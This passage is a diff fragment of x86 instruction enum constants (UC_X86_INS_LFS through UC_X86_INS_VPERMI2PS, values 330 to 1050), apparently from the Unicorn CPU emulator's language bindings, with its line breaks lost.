+UC_X86_INS_LFS = 330 +UC_X86_INS_LGDT = 331 +UC_X86_INS_LGS = 332 +UC_X86_INS_LIDT = 333 +UC_X86_INS_LLDT = 334 +UC_X86_INS_LMSW = 335 +UC_X86_INS_OR = 336 +UC_X86_INS_SUB = 337 +UC_X86_INS_XOR = 338 +UC_X86_INS_LODSB = 339 +UC_X86_INS_LODSD = 340 +UC_X86_INS_LODSQ = 341 +UC_X86_INS_LODSW = 342 +UC_X86_INS_LOOP = 343 +UC_X86_INS_LOOPE = 344 +UC_X86_INS_LOOPNE = 345 +UC_X86_INS_RETF = 346 +UC_X86_INS_RETFQ = 347 +UC_X86_INS_LSL = 348 +UC_X86_INS_LSS = 349 +UC_X86_INS_LTR = 350 +UC_X86_INS_XADD = 351 +UC_X86_INS_LZCNT = 352 +UC_X86_INS_MASKMOVDQU = 353 +UC_X86_INS_MAXPD = 354 +UC_X86_INS_MAXPS = 355 +UC_X86_INS_MAXSD = 356 +UC_X86_INS_MAXSS = 357 +UC_X86_INS_MFENCE = 358 +UC_X86_INS_MINPD = 359 +UC_X86_INS_MINPS = 360 +UC_X86_INS_MINSD = 361 +UC_X86_INS_MINSS = 362 +UC_X86_INS_CVTPD2PI = 363 +UC_X86_INS_CVTPI2PD = 364 +UC_X86_INS_CVTPI2PS = 365 +UC_X86_INS_CVTPS2PI = 366 +UC_X86_INS_CVTTPD2PI = 367 +UC_X86_INS_CVTTPS2PI = 368 +UC_X86_INS_EMMS = 369 +UC_X86_INS_MASKMOVQ = 370 +UC_X86_INS_MOVD = 371 +UC_X86_INS_MOVDQ2Q = 372 +UC_X86_INS_MOVNTQ = 373 +UC_X86_INS_MOVQ2DQ = 374 +UC_X86_INS_MOVQ = 375 +UC_X86_INS_PABSB = 376 +UC_X86_INS_PABSD = 377 +UC_X86_INS_PABSW = 378 +UC_X86_INS_PACKSSDW = 379 +UC_X86_INS_PACKSSWB = 380 +UC_X86_INS_PACKUSWB = 381 +UC_X86_INS_PADDB = 382 +UC_X86_INS_PADDD = 383 +UC_X86_INS_PADDQ = 384 +UC_X86_INS_PADDSB = 385 +UC_X86_INS_PADDSW = 386 +UC_X86_INS_PADDUSB = 387 +UC_X86_INS_PADDUSW = 388 +UC_X86_INS_PADDW = 389 +UC_X86_INS_PALIGNR = 390 +UC_X86_INS_PANDN = 391 +UC_X86_INS_PAND = 392 +UC_X86_INS_PAVGB = 393 +UC_X86_INS_PAVGW = 394 +UC_X86_INS_PCMPEQB = 395 +UC_X86_INS_PCMPEQD = 396 +UC_X86_INS_PCMPEQW = 397 +UC_X86_INS_PCMPGTB = 398 +UC_X86_INS_PCMPGTD = 399 +UC_X86_INS_PCMPGTW = 400 +UC_X86_INS_PEXTRW = 401 +UC_X86_INS_PHADDSW = 402 +UC_X86_INS_PHADDW = 403 +UC_X86_INS_PHADDD = 404 +UC_X86_INS_PHSUBD = 405 +UC_X86_INS_PHSUBSW = 406 +UC_X86_INS_PHSUBW = 407 +UC_X86_INS_PINSRW = 408 +UC_X86_INS_PMADDUBSW = 409 +UC_X86_INS_PMADDWD = 410 +UC_X86_INS_PMAXSW = 411 +UC_X86_INS_PMAXUB = 412 +UC_X86_INS_PMINSW = 413 +UC_X86_INS_PMINUB = 414 +UC_X86_INS_PMOVMSKB = 415 +UC_X86_INS_PMULHRSW = 416 +UC_X86_INS_PMULHUW = 417 +UC_X86_INS_PMULHW = 418 +UC_X86_INS_PMULLW = 419 +UC_X86_INS_PMULUDQ = 420 +UC_X86_INS_POR = 421 +UC_X86_INS_PSADBW = 422 +UC_X86_INS_PSHUFB = 423 +UC_X86_INS_PSHUFW = 424 +UC_X86_INS_PSIGNB = 425 +UC_X86_INS_PSIGND = 426 +UC_X86_INS_PSIGNW = 427 +UC_X86_INS_PSLLD = 428 +UC_X86_INS_PSLLQ = 429 +UC_X86_INS_PSLLW = 430 +UC_X86_INS_PSRAD = 431 +UC_X86_INS_PSRAW = 432 +UC_X86_INS_PSRLD = 433 +UC_X86_INS_PSRLQ = 434 +UC_X86_INS_PSRLW = 435 +UC_X86_INS_PSUBB = 436 +UC_X86_INS_PSUBD = 437 +UC_X86_INS_PSUBQ = 438 +UC_X86_INS_PSUBSB = 439 +UC_X86_INS_PSUBSW = 440 +UC_X86_INS_PSUBUSB = 441 +UC_X86_INS_PSUBUSW = 442 +UC_X86_INS_PSUBW = 443 +UC_X86_INS_PUNPCKHBW = 444 +UC_X86_INS_PUNPCKHDQ = 445 +UC_X86_INS_PUNPCKHWD = 446 +UC_X86_INS_PUNPCKLBW = 447 +UC_X86_INS_PUNPCKLDQ = 448 +UC_X86_INS_PUNPCKLWD = 449 +UC_X86_INS_PXOR = 450 +UC_X86_INS_MONITOR = 451 +UC_X86_INS_MONTMUL = 452 +UC_X86_INS_MOV = 453 +UC_X86_INS_MOVABS = 454 +UC_X86_INS_MOVBE = 455 +UC_X86_INS_MOVDDUP = 456 +UC_X86_INS_MOVDQA = 457 +UC_X86_INS_MOVDQU = 458 +UC_X86_INS_MOVHLPS = 459 +UC_X86_INS_MOVHPD = 460 +UC_X86_INS_MOVHPS = 461 +UC_X86_INS_MOVLHPS = 462 +UC_X86_INS_MOVLPD = 463 +UC_X86_INS_MOVLPS = 464 +UC_X86_INS_MOVMSKPD = 465 +UC_X86_INS_MOVMSKPS = 466 +UC_X86_INS_MOVNTDQA = 467 +UC_X86_INS_MOVNTDQ = 468 +UC_X86_INS_MOVNTI = 469 +UC_X86_INS_MOVNTPD = 470 +UC_X86_INS_MOVNTPS = 471 +UC_X86_INS_MOVNTSD = 472 +UC_X86_INS_MOVNTSS = 473 +UC_X86_INS_MOVSB = 474 +UC_X86_INS_MOVSD = 475 +UC_X86_INS_MOVSHDUP = 476 +UC_X86_INS_MOVSLDUP = 477 +UC_X86_INS_MOVSQ = 478 +UC_X86_INS_MOVSS = 479 +UC_X86_INS_MOVSW = 480 +UC_X86_INS_MOVSX = 481 +UC_X86_INS_MOVSXD = 482 +UC_X86_INS_MOVUPD = 483 +UC_X86_INS_MOVUPS = 484 +UC_X86_INS_MOVZX = 485 +UC_X86_INS_MPSADBW = 486 +UC_X86_INS_MUL = 487 +UC_X86_INS_MULPD = 488 +UC_X86_INS_MULPS = 489 +UC_X86_INS_MULSD = 490 +UC_X86_INS_MULSS = 491 +UC_X86_INS_MULX = 492 +UC_X86_INS_FMUL = 493 +UC_X86_INS_FIMUL = 494 +UC_X86_INS_FMULP = 495 +UC_X86_INS_MWAIT = 496 +UC_X86_INS_NEG = 497 +UC_X86_INS_NOP = 498 +UC_X86_INS_NOT = 499 +UC_X86_INS_OUT = 500 +UC_X86_INS_OUTSB = 501 +UC_X86_INS_OUTSD = 502 +UC_X86_INS_OUTSW = 503 +UC_X86_INS_PACKUSDW = 504 +UC_X86_INS_PAUSE = 505 +UC_X86_INS_PAVGUSB = 506 +UC_X86_INS_PBLENDVB = 507 +UC_X86_INS_PBLENDW = 508 +UC_X86_INS_PCLMULQDQ = 509 +UC_X86_INS_PCMPEQQ = 510 +UC_X86_INS_PCMPESTRI = 511 +UC_X86_INS_PCMPESTRM = 512 +UC_X86_INS_PCMPGTQ = 513 +UC_X86_INS_PCMPISTRI = 514 +UC_X86_INS_PCMPISTRM = 515 +UC_X86_INS_PCOMMIT = 516 +UC_X86_INS_PDEP = 517 +UC_X86_INS_PEXT = 518 +UC_X86_INS_PEXTRB = 519 +UC_X86_INS_PEXTRD = 520 +UC_X86_INS_PEXTRQ = 521 +UC_X86_INS_PF2ID = 522 +UC_X86_INS_PF2IW = 523 +UC_X86_INS_PFACC = 524 +UC_X86_INS_PFADD = 525 +UC_X86_INS_PFCMPEQ = 526 +UC_X86_INS_PFCMPGE = 527 +UC_X86_INS_PFCMPGT = 528 +UC_X86_INS_PFMAX = 529 +UC_X86_INS_PFMIN = 530 +UC_X86_INS_PFMUL = 531 +UC_X86_INS_PFNACC = 532 +UC_X86_INS_PFPNACC = 533 +UC_X86_INS_PFRCPIT1 = 534 +UC_X86_INS_PFRCPIT2 = 535 +UC_X86_INS_PFRCP = 536 +UC_X86_INS_PFRSQIT1 = 537 +UC_X86_INS_PFRSQRT = 538 +UC_X86_INS_PFSUBR = 539 +UC_X86_INS_PFSUB = 540 +UC_X86_INS_PHMINPOSUW = 541 +UC_X86_INS_PI2FD = 542 +UC_X86_INS_PI2FW = 543 +UC_X86_INS_PINSRB = 544 +UC_X86_INS_PINSRD = 545 +UC_X86_INS_PINSRQ = 546 +UC_X86_INS_PMAXSB = 547 +UC_X86_INS_PMAXSD = 548 +UC_X86_INS_PMAXUD = 549 +UC_X86_INS_PMAXUW = 550 +UC_X86_INS_PMINSB = 551 +UC_X86_INS_PMINSD = 552 +UC_X86_INS_PMINUD = 553 +UC_X86_INS_PMINUW = 554 +UC_X86_INS_PMOVSXBD = 555 +UC_X86_INS_PMOVSXBQ = 556 +UC_X86_INS_PMOVSXBW = 557 +UC_X86_INS_PMOVSXDQ = 558 +UC_X86_INS_PMOVSXWD = 559 +UC_X86_INS_PMOVSXWQ = 560 +UC_X86_INS_PMOVZXBD = 561 +UC_X86_INS_PMOVZXBQ = 562 +UC_X86_INS_PMOVZXBW = 563 +UC_X86_INS_PMOVZXDQ = 564 +UC_X86_INS_PMOVZXWD = 565 +UC_X86_INS_PMOVZXWQ = 566 +UC_X86_INS_PMULDQ = 567 +UC_X86_INS_PMULHRW = 568 +UC_X86_INS_PMULLD = 569 +UC_X86_INS_POP = 570 +UC_X86_INS_POPAW = 571 +UC_X86_INS_POPAL = 572 +UC_X86_INS_POPCNT = 573 +UC_X86_INS_POPF = 574 +UC_X86_INS_POPFD = 575 +UC_X86_INS_POPFQ = 576 +UC_X86_INS_PREFETCH = 577 +UC_X86_INS_PREFETCHNTA = 578 +UC_X86_INS_PREFETCHT0 = 579 +UC_X86_INS_PREFETCHT1 = 580 +UC_X86_INS_PREFETCHT2 = 581 +UC_X86_INS_PREFETCHW = 582 +UC_X86_INS_PSHUFD = 583 +UC_X86_INS_PSHUFHW = 584 +UC_X86_INS_PSHUFLW = 585 +UC_X86_INS_PSLLDQ = 586 +UC_X86_INS_PSRLDQ = 587 +UC_X86_INS_PSWAPD = 588 +UC_X86_INS_PTEST = 589 +UC_X86_INS_PUNPCKHQDQ = 590 +UC_X86_INS_PUNPCKLQDQ = 591 +UC_X86_INS_PUSH = 592 +UC_X86_INS_PUSHAW = 593 +UC_X86_INS_PUSHAL = 594 +UC_X86_INS_PUSHF = 595 +UC_X86_INS_PUSHFD = 596 +UC_X86_INS_PUSHFQ = 597 +UC_X86_INS_RCL = 598 +UC_X86_INS_RCPPS = 599 +UC_X86_INS_RCPSS = 600 +UC_X86_INS_RCR = 601 +UC_X86_INS_RDFSBASE = 602 +UC_X86_INS_RDGSBASE = 603 +UC_X86_INS_RDMSR = 604 +UC_X86_INS_RDPMC = 605 +UC_X86_INS_RDRAND = 606 +UC_X86_INS_RDSEED = 607 +UC_X86_INS_RDTSC = 608 +UC_X86_INS_RDTSCP = 609 +UC_X86_INS_ROL = 610 +UC_X86_INS_ROR = 611 +UC_X86_INS_RORX = 612 +UC_X86_INS_ROUNDPD = 613 +UC_X86_INS_ROUNDPS = 614 +UC_X86_INS_ROUNDSD = 615 +UC_X86_INS_ROUNDSS = 616 +UC_X86_INS_RSM = 617 +UC_X86_INS_RSQRTPS = 618 +UC_X86_INS_RSQRTSS = 619 +UC_X86_INS_SAHF = 620 +UC_X86_INS_SAL = 621 +UC_X86_INS_SALC = 622 +UC_X86_INS_SAR = 623 +UC_X86_INS_SARX = 624 +UC_X86_INS_SBB = 625 +UC_X86_INS_SCASB = 626 +UC_X86_INS_SCASD = 627 +UC_X86_INS_SCASQ = 628 +UC_X86_INS_SCASW = 629 +UC_X86_INS_SETAE = 630 +UC_X86_INS_SETA = 631 +UC_X86_INS_SETBE = 632 +UC_X86_INS_SETB = 633 +UC_X86_INS_SETE = 634 +UC_X86_INS_SETGE = 635 +UC_X86_INS_SETG = 636 +UC_X86_INS_SETLE = 637 +UC_X86_INS_SETL = 638 +UC_X86_INS_SETNE = 639 +UC_X86_INS_SETNO = 640 +UC_X86_INS_SETNP = 641 +UC_X86_INS_SETNS = 642 +UC_X86_INS_SETO = 643 +UC_X86_INS_SETP = 644 +UC_X86_INS_SETS = 645 +UC_X86_INS_SFENCE = 646 +UC_X86_INS_SGDT = 647 +UC_X86_INS_SHA1MSG1 = 648 +UC_X86_INS_SHA1MSG2 = 649 +UC_X86_INS_SHA1NEXTE = 650 +UC_X86_INS_SHA1RNDS4 = 651 +UC_X86_INS_SHA256MSG1 = 652 +UC_X86_INS_SHA256MSG2 = 653 +UC_X86_INS_SHA256RNDS2 = 654 +UC_X86_INS_SHL = 655 +UC_X86_INS_SHLD = 656 +UC_X86_INS_SHLX = 657 +UC_X86_INS_SHR = 658 +UC_X86_INS_SHRD = 659 +UC_X86_INS_SHRX = 660 +UC_X86_INS_SHUFPD = 661 +UC_X86_INS_SHUFPS = 662 +UC_X86_INS_SIDT = 663 +UC_X86_INS_FSIN = 664 +UC_X86_INS_SKINIT = 665 +UC_X86_INS_SLDT = 666 +UC_X86_INS_SMSW = 667 +UC_X86_INS_SQRTPD = 668 +UC_X86_INS_SQRTPS = 669 +UC_X86_INS_SQRTSD = 670 +UC_X86_INS_SQRTSS = 671 +UC_X86_INS_FSQRT = 672 +UC_X86_INS_STAC = 673 +UC_X86_INS_STC = 674 +UC_X86_INS_STD = 675 +UC_X86_INS_STGI = 676 +UC_X86_INS_STI = 677 +UC_X86_INS_STMXCSR = 678 +UC_X86_INS_STOSB = 679 +UC_X86_INS_STOSD = 680 +UC_X86_INS_STOSQ = 681 +UC_X86_INS_STOSW = 682 +UC_X86_INS_STR = 683 +UC_X86_INS_FST = 684 +UC_X86_INS_FSTP = 685 +UC_X86_INS_FSTPNCE = 686 +UC_X86_INS_FXCH = 687 +UC_X86_INS_SUBPD = 688 +UC_X86_INS_SUBPS = 689 +UC_X86_INS_FSUBR = 690 +UC_X86_INS_FISUBR = 691 +UC_X86_INS_FSUBRP = 692 +UC_X86_INS_SUBSD = 693 +UC_X86_INS_SUBSS = 694 +UC_X86_INS_FSUB = 695 +UC_X86_INS_FISUB = 696 +UC_X86_INS_FSUBP = 697 +UC_X86_INS_SWAPGS = 698 +UC_X86_INS_SYSCALL = 699 +UC_X86_INS_SYSENTER = 700 +UC_X86_INS_SYSEXIT = 701 +UC_X86_INS_SYSRET = 702 +UC_X86_INS_T1MSKC = 703 +UC_X86_INS_TEST = 704 +UC_X86_INS_UD2 = 705 +UC_X86_INS_FTST = 706 +UC_X86_INS_TZCNT = 707 +UC_X86_INS_TZMSK = 708 +UC_X86_INS_FUCOMPI = 709 +UC_X86_INS_FUCOMI = 710 +UC_X86_INS_FUCOMPP = 711 +UC_X86_INS_FUCOMP = 712 +UC_X86_INS_FUCOM = 713 +UC_X86_INS_UD2B = 714 +UC_X86_INS_UNPCKHPD = 715 +UC_X86_INS_UNPCKHPS = 716 +UC_X86_INS_UNPCKLPD = 717 +UC_X86_INS_UNPCKLPS = 718 +UC_X86_INS_VADDPD = 719 +UC_X86_INS_VADDPS = 720 +UC_X86_INS_VADDSD = 721 +UC_X86_INS_VADDSS = 722 +UC_X86_INS_VADDSUBPD = 723 +UC_X86_INS_VADDSUBPS = 724 +UC_X86_INS_VAESDECLAST = 725 +UC_X86_INS_VAESDEC = 726 +UC_X86_INS_VAESENCLAST = 727 +UC_X86_INS_VAESENC = 728 +UC_X86_INS_VAESIMC = 729 +UC_X86_INS_VAESKEYGENASSIST = 730 +UC_X86_INS_VALIGND = 731 +UC_X86_INS_VALIGNQ = 732 +UC_X86_INS_VANDNPD = 733 +UC_X86_INS_VANDNPS = 734 +UC_X86_INS_VANDPD = 735 +UC_X86_INS_VANDPS = 736 +UC_X86_INS_VBLENDMPD = 737 +UC_X86_INS_VBLENDMPS = 738 +UC_X86_INS_VBLENDPD = 739 +UC_X86_INS_VBLENDPS = 740 +UC_X86_INS_VBLENDVPD = 741 +UC_X86_INS_VBLENDVPS = 742 +UC_X86_INS_VBROADCASTF128 = 743 +UC_X86_INS_VBROADCASTI32X4 = 744 +UC_X86_INS_VBROADCASTI64X4 = 745 +UC_X86_INS_VBROADCASTSD = 746 +UC_X86_INS_VBROADCASTSS = 747 +UC_X86_INS_VCMPPD = 748 +UC_X86_INS_VCMPPS = 749 +UC_X86_INS_VCMPSD = 750 +UC_X86_INS_VCMPSS = 751 +UC_X86_INS_VCOMPRESSPD = 752 +UC_X86_INS_VCOMPRESSPS = 753 +UC_X86_INS_VCVTDQ2PD = 754 +UC_X86_INS_VCVTDQ2PS = 755 +UC_X86_INS_VCVTPD2DQX = 756 +UC_X86_INS_VCVTPD2DQ = 757 +UC_X86_INS_VCVTPD2PSX = 758 +UC_X86_INS_VCVTPD2PS = 759 +UC_X86_INS_VCVTPD2UDQ = 760 +UC_X86_INS_VCVTPH2PS = 761 +UC_X86_INS_VCVTPS2DQ = 762 +UC_X86_INS_VCVTPS2PD = 763 +UC_X86_INS_VCVTPS2PH = 764 +UC_X86_INS_VCVTPS2UDQ = 765 +UC_X86_INS_VCVTSD2SI = 766 +UC_X86_INS_VCVTSD2USI = 767 +UC_X86_INS_VCVTSS2SI = 768 +UC_X86_INS_VCVTSS2USI = 769 +UC_X86_INS_VCVTTPD2DQX = 770 +UC_X86_INS_VCVTTPD2DQ = 771 +UC_X86_INS_VCVTTPD2UDQ = 772 +UC_X86_INS_VCVTTPS2DQ = 773 +UC_X86_INS_VCVTTPS2UDQ = 774 +UC_X86_INS_VCVTUDQ2PD = 775 +UC_X86_INS_VCVTUDQ2PS = 776 +UC_X86_INS_VDIVPD = 777 +UC_X86_INS_VDIVPS = 778 +UC_X86_INS_VDIVSD = 779 +UC_X86_INS_VDIVSS = 780 +UC_X86_INS_VDPPD = 781 +UC_X86_INS_VDPPS = 782 +UC_X86_INS_VERR = 783 +UC_X86_INS_VERW = 784 +UC_X86_INS_VEXP2PD = 785 +UC_X86_INS_VEXP2PS = 786 +UC_X86_INS_VEXPANDPD = 787 +UC_X86_INS_VEXPANDPS = 788 +UC_X86_INS_VEXTRACTF128 = 789 +UC_X86_INS_VEXTRACTF32X4 = 790 +UC_X86_INS_VEXTRACTF64X4 = 791 +UC_X86_INS_VEXTRACTI128 = 792 +UC_X86_INS_VEXTRACTI32X4 = 793 +UC_X86_INS_VEXTRACTI64X4 = 794 +UC_X86_INS_VEXTRACTPS = 795 +UC_X86_INS_VFMADD132PD = 796 +UC_X86_INS_VFMADD132PS = 797 +UC_X86_INS_VFMADDPD = 798 +UC_X86_INS_VFMADD213PD = 799 +UC_X86_INS_VFMADD231PD = 800 +UC_X86_INS_VFMADDPS = 801 +UC_X86_INS_VFMADD213PS = 802 +UC_X86_INS_VFMADD231PS = 803 +UC_X86_INS_VFMADDSD = 804 +UC_X86_INS_VFMADD213SD = 805 +UC_X86_INS_VFMADD132SD = 806 +UC_X86_INS_VFMADD231SD = 807 +UC_X86_INS_VFMADDSS = 808 +UC_X86_INS_VFMADD213SS = 809 +UC_X86_INS_VFMADD132SS = 810 +UC_X86_INS_VFMADD231SS = 811 +UC_X86_INS_VFMADDSUB132PD = 812 +UC_X86_INS_VFMADDSUB132PS = 813 +UC_X86_INS_VFMADDSUBPD = 814 +UC_X86_INS_VFMADDSUB213PD = 815 +UC_X86_INS_VFMADDSUB231PD = 816 +UC_X86_INS_VFMADDSUBPS = 817 +UC_X86_INS_VFMADDSUB213PS = 818 +UC_X86_INS_VFMADDSUB231PS = 819 +UC_X86_INS_VFMSUB132PD = 820 +UC_X86_INS_VFMSUB132PS = 821 +UC_X86_INS_VFMSUBADD132PD = 822 +UC_X86_INS_VFMSUBADD132PS = 823 +UC_X86_INS_VFMSUBADDPD = 824 +UC_X86_INS_VFMSUBADD213PD = 825 +UC_X86_INS_VFMSUBADD231PD = 826 +UC_X86_INS_VFMSUBADDPS = 827 +UC_X86_INS_VFMSUBADD213PS = 828 +UC_X86_INS_VFMSUBADD231PS = 829 +UC_X86_INS_VFMSUBPD = 830 +UC_X86_INS_VFMSUB213PD = 831 +UC_X86_INS_VFMSUB231PD = 832 +UC_X86_INS_VFMSUBPS = 833 +UC_X86_INS_VFMSUB213PS = 834 +UC_X86_INS_VFMSUB231PS = 835 +UC_X86_INS_VFMSUBSD = 836 +UC_X86_INS_VFMSUB213SD = 837 +UC_X86_INS_VFMSUB132SD = 838 +UC_X86_INS_VFMSUB231SD = 839 +UC_X86_INS_VFMSUBSS = 840 +UC_X86_INS_VFMSUB213SS = 841 +UC_X86_INS_VFMSUB132SS = 842 +UC_X86_INS_VFMSUB231SS = 843 +UC_X86_INS_VFNMADD132PD = 844 +UC_X86_INS_VFNMADD132PS = 845 +UC_X86_INS_VFNMADDPD = 846 +UC_X86_INS_VFNMADD213PD = 847 +UC_X86_INS_VFNMADD231PD = 848 +UC_X86_INS_VFNMADDPS = 849 +UC_X86_INS_VFNMADD213PS = 850 +UC_X86_INS_VFNMADD231PS = 851 +UC_X86_INS_VFNMADDSD = 852 +UC_X86_INS_VFNMADD213SD = 853 +UC_X86_INS_VFNMADD132SD = 854 +UC_X86_INS_VFNMADD231SD = 855 +UC_X86_INS_VFNMADDSS = 856 +UC_X86_INS_VFNMADD213SS = 857 +UC_X86_INS_VFNMADD132SS = 858 +UC_X86_INS_VFNMADD231SS = 859 +UC_X86_INS_VFNMSUB132PD = 860 +UC_X86_INS_VFNMSUB132PS = 861 +UC_X86_INS_VFNMSUBPD = 862 +UC_X86_INS_VFNMSUB213PD = 863 +UC_X86_INS_VFNMSUB231PD = 864 +UC_X86_INS_VFNMSUBPS = 865 +UC_X86_INS_VFNMSUB213PS = 866 +UC_X86_INS_VFNMSUB231PS = 867 +UC_X86_INS_VFNMSUBSD = 868 +UC_X86_INS_VFNMSUB213SD = 869 +UC_X86_INS_VFNMSUB132SD = 870 +UC_X86_INS_VFNMSUB231SD = 871 +UC_X86_INS_VFNMSUBSS = 872 +UC_X86_INS_VFNMSUB213SS = 873 +UC_X86_INS_VFNMSUB132SS = 874 +UC_X86_INS_VFNMSUB231SS = 875 +UC_X86_INS_VFRCZPD = 876 +UC_X86_INS_VFRCZPS = 877 +UC_X86_INS_VFRCZSD = 878 +UC_X86_INS_VFRCZSS = 879 +UC_X86_INS_VORPD = 880 +UC_X86_INS_VORPS = 881 +UC_X86_INS_VXORPD = 882 +UC_X86_INS_VXORPS = 883 +UC_X86_INS_VGATHERDPD = 884 +UC_X86_INS_VGATHERDPS = 885 +UC_X86_INS_VGATHERPF0DPD = 886 +UC_X86_INS_VGATHERPF0DPS = 887 +UC_X86_INS_VGATHERPF0QPD = 888 +UC_X86_INS_VGATHERPF0QPS = 889 +UC_X86_INS_VGATHERPF1DPD = 890 +UC_X86_INS_VGATHERPF1DPS = 891 +UC_X86_INS_VGATHERPF1QPD = 892 +UC_X86_INS_VGATHERPF1QPS = 893 +UC_X86_INS_VGATHERQPD = 894 +UC_X86_INS_VGATHERQPS = 895 +UC_X86_INS_VHADDPD = 896 +UC_X86_INS_VHADDPS = 897 +UC_X86_INS_VHSUBPD = 898 +UC_X86_INS_VHSUBPS = 899 +UC_X86_INS_VINSERTF128 = 900 +UC_X86_INS_VINSERTF32X4 = 901 +UC_X86_INS_VINSERTF32X8 = 902 +UC_X86_INS_VINSERTF64X2 = 903 +UC_X86_INS_VINSERTF64X4 = 904 +UC_X86_INS_VINSERTI128 = 905 +UC_X86_INS_VINSERTI32X4 = 906 +UC_X86_INS_VINSERTI32X8 = 907 +UC_X86_INS_VINSERTI64X2 = 908 +UC_X86_INS_VINSERTI64X4 = 909 +UC_X86_INS_VINSERTPS = 910 +UC_X86_INS_VLDDQU = 911 +UC_X86_INS_VLDMXCSR = 912 +UC_X86_INS_VMASKMOVDQU = 913 +UC_X86_INS_VMASKMOVPD = 914 +UC_X86_INS_VMASKMOVPS = 915 +UC_X86_INS_VMAXPD = 916 +UC_X86_INS_VMAXPS = 917 +UC_X86_INS_VMAXSD = 918 +UC_X86_INS_VMAXSS = 919 +UC_X86_INS_VMCALL = 920 +UC_X86_INS_VMCLEAR = 921 +UC_X86_INS_VMFUNC = 922 +UC_X86_INS_VMINPD = 923 +UC_X86_INS_VMINPS = 924 +UC_X86_INS_VMINSD = 925 +UC_X86_INS_VMINSS = 926 +UC_X86_INS_VMLAUNCH = 927 +UC_X86_INS_VMLOAD = 928 +UC_X86_INS_VMMCALL = 929 +UC_X86_INS_VMOVQ = 930 +UC_X86_INS_VMOVDDUP = 931 +UC_X86_INS_VMOVD = 932 +UC_X86_INS_VMOVDQA32 = 933 +UC_X86_INS_VMOVDQA64 = 934 +UC_X86_INS_VMOVDQA = 935 +UC_X86_INS_VMOVDQU16 = 936 +UC_X86_INS_VMOVDQU32 = 937 +UC_X86_INS_VMOVDQU64 = 938 +UC_X86_INS_VMOVDQU8 = 939 +UC_X86_INS_VMOVDQU = 940 +UC_X86_INS_VMOVHLPS = 941 +UC_X86_INS_VMOVHPD = 942 +UC_X86_INS_VMOVHPS = 943 +UC_X86_INS_VMOVLHPS = 944 +UC_X86_INS_VMOVLPD = 945 +UC_X86_INS_VMOVLPS = 946 +UC_X86_INS_VMOVMSKPD = 947 +UC_X86_INS_VMOVMSKPS = 948 +UC_X86_INS_VMOVNTDQA = 949 +UC_X86_INS_VMOVNTDQ = 950 +UC_X86_INS_VMOVNTPD = 951 +UC_X86_INS_VMOVNTPS = 952 +UC_X86_INS_VMOVSD = 953 +UC_X86_INS_VMOVSHDUP = 954 +UC_X86_INS_VMOVSLDUP = 955 +UC_X86_INS_VMOVSS = 956 +UC_X86_INS_VMOVUPD = 957 +UC_X86_INS_VMOVUPS = 958 +UC_X86_INS_VMPSADBW = 959 +UC_X86_INS_VMPTRLD = 960 +UC_X86_INS_VMPTRST = 961 +UC_X86_INS_VMREAD = 962 +UC_X86_INS_VMRESUME = 963 +UC_X86_INS_VMRUN = 964 +UC_X86_INS_VMSAVE = 965 +UC_X86_INS_VMULPD = 966 +UC_X86_INS_VMULPS = 967 +UC_X86_INS_VMULSD = 968 +UC_X86_INS_VMULSS = 969 +UC_X86_INS_VMWRITE = 970 +UC_X86_INS_VMXOFF = 971 +UC_X86_INS_VMXON = 972 +UC_X86_INS_VPABSB = 973 +UC_X86_INS_VPABSD = 974 +UC_X86_INS_VPABSQ = 975 +UC_X86_INS_VPABSW = 976 +UC_X86_INS_VPACKSSDW = 977 +UC_X86_INS_VPACKSSWB = 978 +UC_X86_INS_VPACKUSDW = 979 +UC_X86_INS_VPACKUSWB = 980 +UC_X86_INS_VPADDB = 981 +UC_X86_INS_VPADDD = 982 +UC_X86_INS_VPADDQ = 983 +UC_X86_INS_VPADDSB = 984 +UC_X86_INS_VPADDSW = 985 +UC_X86_INS_VPADDUSB = 986 +UC_X86_INS_VPADDUSW = 987 +UC_X86_INS_VPADDW = 988 +UC_X86_INS_VPALIGNR = 989 +UC_X86_INS_VPANDD = 990 +UC_X86_INS_VPANDND = 991 +UC_X86_INS_VPANDNQ = 992 +UC_X86_INS_VPANDN = 993 +UC_X86_INS_VPANDQ = 994 +UC_X86_INS_VPAND = 995 +UC_X86_INS_VPAVGB = 996 +UC_X86_INS_VPAVGW = 997 +UC_X86_INS_VPBLENDD = 998 +UC_X86_INS_VPBLENDMB = 999 +UC_X86_INS_VPBLENDMD = 1000 +UC_X86_INS_VPBLENDMQ = 1001 +UC_X86_INS_VPBLENDMW = 1002 +UC_X86_INS_VPBLENDVB = 1003 +UC_X86_INS_VPBLENDW = 1004 +UC_X86_INS_VPBROADCASTB = 1005 +UC_X86_INS_VPBROADCASTD = 1006 +UC_X86_INS_VPBROADCASTMB2Q = 1007 +UC_X86_INS_VPBROADCASTMW2D = 1008 +UC_X86_INS_VPBROADCASTQ = 1009 +UC_X86_INS_VPBROADCASTW = 1010 +UC_X86_INS_VPCLMULQDQ = 1011 +UC_X86_INS_VPCMOV = 1012 +UC_X86_INS_VPCMPB = 1013 +UC_X86_INS_VPCMPD = 1014 +UC_X86_INS_VPCMPEQB = 1015 +UC_X86_INS_VPCMPEQD = 1016 +UC_X86_INS_VPCMPEQQ = 1017 +UC_X86_INS_VPCMPEQW = 1018 +UC_X86_INS_VPCMPESTRI = 1019 +UC_X86_INS_VPCMPESTRM = 1020 +UC_X86_INS_VPCMPGTB = 1021 +UC_X86_INS_VPCMPGTD = 1022 +UC_X86_INS_VPCMPGTQ = 1023 +UC_X86_INS_VPCMPGTW = 1024 +UC_X86_INS_VPCMPISTRI = 1025 +UC_X86_INS_VPCMPISTRM = 1026 +UC_X86_INS_VPCMPQ = 1027 +UC_X86_INS_VPCMPUB = 1028 +UC_X86_INS_VPCMPUD = 1029 +UC_X86_INS_VPCMPUQ = 1030 +UC_X86_INS_VPCMPUW = 1031 +UC_X86_INS_VPCMPW = 1032 +UC_X86_INS_VPCOMB = 1033 +UC_X86_INS_VPCOMD = 1034 +UC_X86_INS_VPCOMPRESSD = 1035 +UC_X86_INS_VPCOMPRESSQ = 1036 +UC_X86_INS_VPCOMQ = 1037 +UC_X86_INS_VPCOMUB = 1038 +UC_X86_INS_VPCOMUD = 1039 +UC_X86_INS_VPCOMUQ = 1040 +UC_X86_INS_VPCOMUW = 1041 +UC_X86_INS_VPCOMW = 1042 +UC_X86_INS_VPCONFLICTD = 1043 +UC_X86_INS_VPCONFLICTQ = 1044 +UC_X86_INS_VPERM2F128 = 1045 +UC_X86_INS_VPERM2I128 = 1046 +UC_X86_INS_VPERMD = 1047 +UC_X86_INS_VPERMI2D = 1048 +UC_X86_INS_VPERMI2PD = 1049 +UC_X86_INS_VPERMI2PS = 1050 